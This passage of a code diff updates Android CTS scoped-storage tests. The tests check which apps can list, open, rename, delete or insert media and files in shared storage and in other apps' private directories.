+            Thread.sleep(1000);
+
+            long fuseFileSize = file.length();
+            assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+        } finally {
+            file.delete();
+        }
+    }
+
+    /**
      * Test that apps can rename a hidden file.
      */
     @Test
@@ -1786,28 +1877,23 @@
             assertDirectoryContains(dcimDir, hiddenImageFile);
 
             // TestApp with read permissions can't see the hidden image file created by other app
-            assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
+            assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
                     .doesNotContain(hiddenImageFileName);
 
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(APP_B_NO_PERMS.getPackageName(),
-                            0);
-            // FileManager can see the hidden image file created by other app
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
-                        .contains(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
+            // But file manager can
+            assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+                    .contains(hiddenImageFileName);
 
-            // Gallery can not see the hidden image file created by other app
+            // Gallery cannot see the hidden image file created by other app
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
             try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+                assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
                         .doesNotContain(hiddenImageFileName);
             } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
             }
         } finally {
             hiddenImageFile.delete();
@@ -1826,18 +1912,16 @@
         Uri trashedPdfFileUri = null;
         try {
             pendingImgaeFileUri = createPendingFile(pendingImageFile);
-            assertOpenPendingOrTrashed(pendingImgaeFileUri, APP_A_HAS_RES, /*isImageOrVideo*/ true);
+            assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
 
             pendingPdfFileUri = createPendingFile(pendingPdfFile);
-            assertOpenPendingOrTrashed(pendingPdfFileUri, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ false);
+            assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
 
             trashedVideoFileUri = createTrashedFile(trashedVideoFile);
-            assertOpenPendingOrTrashed(trashedVideoFileUri, APP_A_HAS_RES, /*isImageOrVideo*/ true);
+            assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
 
             trashedPdfFileUri = createTrashedFile(trashedPdfFile);
-            assertOpenPendingOrTrashed(trashedPdfFileUri, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ false);
+            assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
 
         } finally {
             deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
@@ -1857,24 +1941,20 @@
             imageFileUri = createPendingFile(imageFile);
             // Check that only owner package, file manager and system gallery can list pending image
             // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ true);
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
 
             trashFile(imageFileUri);
             // Check that only owner package, file manager and system gallery can list trashed image
             // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ true);
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
 
             pdfFileUri = createPendingFile(pdfFile);
             // Check that only owner package, file manager can list pending non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ false);
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
 
             trashFile(pdfFileUri);
             // Check that only owner package, file manager can list trashed non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, APP_A_HAS_RES,
-                    /*isImageOrVideo*/ false);
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
         } finally {
             deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
             deleteFiles(imageFile, pdfFile);
@@ -1911,26 +1991,21 @@
             assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
                     pendingPdfFilePath, trashedPdfFilePath);
 
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
-                            0);
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                // File Manager can delete any pending and trashed file
-                assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
-                        pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
+            // File Manager can delete any pending and trashed file
+            assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
 
             pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
             trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
             pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
             trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
 
+            // System Gallery can delete any pending and trashed image or video file.
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
             try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                // System Gallery can delete any pending and trashed image or video file.
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
                 assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
                 assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
                 assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
@@ -1940,7 +2015,7 @@
                 assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
                 assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
             } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
             }
         } finally {
             deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
@@ -2217,6 +2292,148 @@
     }
 
     /**
+     * Test that we don't allow renaming to top level directory
+     */
+    @Test
+    public void testCantRenameToTopLevelDirectory() throws Exception {
+        final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+        final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+        final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        try {
+            createDirectoryAsLegacyApp(topLevelDir1);
+            assertTrue(topLevelDir1.exists());
+
+            // We can't rename a top level directory to a top level directory
+            assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+            // However, we can rename a top level directory to non-top level directory.
+            assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+            // We can't rename a non-top level directory to a top level directory.
+            assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+        } finally {
+            deleteAsLegacyApp(topLevelDir1);
+            deleteAsLegacyApp(topLevelDir2);
+            nonTopLevelDir.delete();
+        }
+    }
+
+    @Test
+    public void testCanCreateDefaultDirectory() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        try {
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.mkdir()).isTrue();
+        } finally {
+            createDirectoryAsLegacyApp(podcastsDir);
+        }
+    }
+
+    /**
+     * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+     */
+    @Test
+    public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+        final File cameraDir = new File(getDcimDir(), "Camera");
+        final File nomediaFile = new File(cameraDir, ".nomedia");
+        Uri targetUri = null;
+
+        try {
+            // Recreate required file and directory
+            if (cameraDir.exists()) {
+                // This is a work around to address a known inode cache inconsistency issue
+                // that occurs when test runs for the second time.
+                deleteAsLegacyApp(cameraDir);
+            }
+
+            createDirectoryAsLegacyApp(cameraDir);
+            assertTrue(cameraDir.exists());
+
+            createFileAsLegacyApp(nomediaFile);
+            assertTrue(nomediaFile.exists());
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+            targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+            assertNotNull(targetUri);
+
+            try (ParcelFileDescriptor pfd =
+                         getContentResolver().openFileDescriptor(targetUri, "w")) {
+                assertThat(pfd).isNotNull();
+                Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+            }
+
+            assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+        } finally {
+            deleteWithMediaProviderNoThrow(targetUri);
+            deleteAsLegacyApp(nomediaFile);
+            deleteAsLegacyApp(cameraDir);
+        }
+    }
+
+    /**
+     * Test that readdir lists unsupported file types in default directories.
+     */
+    @Test
+    public void testListUnsupportedFileType() throws Exception {
+        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+        try {
+            // TEST_APP_A with storage permission should not see pdf file in DCIM
+            createFileAsLegacyApp(pdfFile);
+            assertThat(pdfFile.exists()).isTrue();
+            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+            assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+                    .doesNotContain(NONMEDIA_FILE_NAME);
+
+            createFileAsLegacyApp(videoFile);
+            // We don't insert files to db for files created by shell.
+            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+            // TEST_APP_A with storage permission should see video file in Music directory.
+            assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+        } finally {
+            deleteAsLegacyApp(pdfFile);
+            deleteAsLegacyApp(videoFile);
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
+        }
+    }
+
+    /**
+     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+     */
+    @Test
+    public void testCantAccessOtherAppsExternalDirs() throws Exception {
+        File[] obbDirs = getContext().getObbDirs();
+        File[] dataDirs = getContext().getExternalFilesDirs(null);
+        for (File obbDir : obbDirs) {
+            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+        for (File dataDir : dataDirs) {
+            final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+    }
+
+    /**
      * Test that apps can't set attributes on another app's files.
      */
     @Test
@@ -2282,12 +2499,48 @@
         }
     }
 
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+            verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+            verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
     /**
      * Checks restrictions for opening pending and trashed files by different apps. Assumes that
      * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
      * method doesn't uninstall given {@code testApp} at the end.
      */
-    private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
+    private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
             throws Exception {
         final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
 
@@ -2297,46 +2550,38 @@
 
         // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
         // write
-        assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-        assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
 
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can open any pending or trashed file for read or write
-            assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-            assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
 
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
         try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
             if (isImageOrVideo) {
                 // System Gallery can open any pending or trashed image/video file for read or write
                 assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
             } else {
                 // System Gallery can't open other app's pending or trashed non-media file for read
                 // or write
                 assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
             }
         } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
         }
     }
 
     /**
-     * Checks restrictions for listing pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
+     * Checks restrictions for listing pending and trashed files by different apps.
      */
-    private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
-            boolean isImageOrVideo) throws Exception {
+    private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+            throws Exception {
         final String parentDirPath = file.getParent();
         assertTrue(new File(parentDirPath).isDirectory());
 
@@ -2348,32 +2593,30 @@
         assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
 
         // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
-        assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
+        assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+                pendingOrTrashedFile.getName());
 
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can see any pending or trashed file.
-            assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+        // File Manager can see any pending or trashed file.
+        assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
 
         try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
             if (isImageOrVideo) {
                 // System Gallery can see any pending or trashed image/video file.
                 assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+                        pendingOrTrashedFile.getName());
             } else {
                 // System Gallery can't see other app's pending or trashed non media file.
                 assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath))
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath))
                         .doesNotContain(pendingOrTrashedFile.getName());
             }
         } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
         }
     }
 
@@ -2599,6 +2842,15 @@
         }
     }
 
+    private static void assertCannotReadOrWrite(File file)
+            throws Exception {
+        // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+        // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+        // the other app's file.
+        assertAccess(file, false /* value is moot */, false /* canRead */,
+                false /* canWrite */, false /* checkExists */);
+    }
+
     private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
             throws Exception {
         assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
@@ -2639,4 +2891,36 @@
             });
         }
     }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating file " + file);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+    }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+    }
+
+    /**
+     * Deletes a file or directory at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
+        Log.d(TAG, "Deleting file " + file);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+    }
 }
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
index 8856887..20f4274 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
@@ -23,7 +23,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.AfterClass;
-import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.runner.RunWith;
 
@@ -38,17 +37,22 @@
         ScopedStorageDeviceTest.createPublicVolume();
     }
 
+    @BeforeClass
+    public static void setupApps() throws Exception {
+        ScopedStorageDeviceTest.setupApps();
+    }
+
     @AfterClass
     public static void resetDefaultVolume() throws Exception {
         TestUtils.resetDefaultExternalStorageVolume();
     }
 
-    @Before
-    public void setup() throws Exception {
+    @BeforeClass
+    public static void setupStorage() throws Exception {
         String volumeName = TestUtils.getPublicVolumeName();
         assertThat(volumeName).isNotNull();
         TestUtils.setExternalStorageVolume(volumeName);
         TestUtils.assertDefaultVolumeIsPublic();
-        super.setup();
+        ScopedStorageDeviceTest.setupStorage();
     }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 01d1a3c4..2a63325 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -224,4 +224,24 @@
     public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
         runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
     }
+
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaData");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaData");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 701fbad..e162169 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
@@ -38,8 +37,6 @@
 public class ScopedStorageHostTest extends BaseHostTestCase {
     private boolean mIsExternalStorageSetup;
 
-    private ContentProviderHandler mContentProviderHandler;
-
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
@@ -71,11 +68,6 @@
 
     @Before
     public void setup() throws Exception {
-        // Set up content provider. This would install android.tradefed.contentprovider
-        // which is used to create and delete files/Dir on device side test.
-        mContentProviderHandler = new ContentProviderHandler(getDevice());
-        mContentProviderHandler.setUp();
-
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -89,21 +81,9 @@
 
     @After
     public void tearDown() throws Exception {
-        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
-
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        runDeviceTest("testListUnsupportedFileType");
-    }
-
-    @Test
-    public void testCantRenameToTopLevelDirectory() throws Exception {
-        runDeviceTest("testCantRenameToTopLevelDirectory");
-    }
-
     @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
         allowAppOps("android:manage_external_storage");
@@ -147,16 +127,6 @@
     }
 
     @Test
-    public void testCantAccessOtherAppsExternalDirs() throws Exception {
-        runDeviceTest("testCantAccessOtherAppsExternalDirs");
-    }
-
-    @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        runDeviceTest("testCanCreateDefaultDirectory");
-    }
-
-    @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -167,6 +137,26 @@
     }
 
     @Test
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageDoesntSkipScanningDirtyNomediaDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testScanDoesntSkipDirtySubtree");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
     public void testOpenOtherPendingFilesFromFuse() throws Exception {
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
@@ -187,12 +177,11 @@
     }
 
     @Test
-    public void testWallpaperApisNoPermission() throws Exception {
-        runDeviceTest("testWallpaperApisNoPermission");
-    }
-
-    @Test
     public void testWallpaperApisReadExternalStorage() throws Exception {
+        // First run without any permission
+        runDeviceTest("testWallpaperApisNoPermission");
+
+        // Then with RES.
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
             runDeviceTest("testWallpaperApisReadExternalStorage");
@@ -251,6 +240,55 @@
         }
     }
 
+    @Test
+    public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         int currentUserId = getCurrentUserId();
         for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 1c108f0..6be57aa 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -27,25 +27,34 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
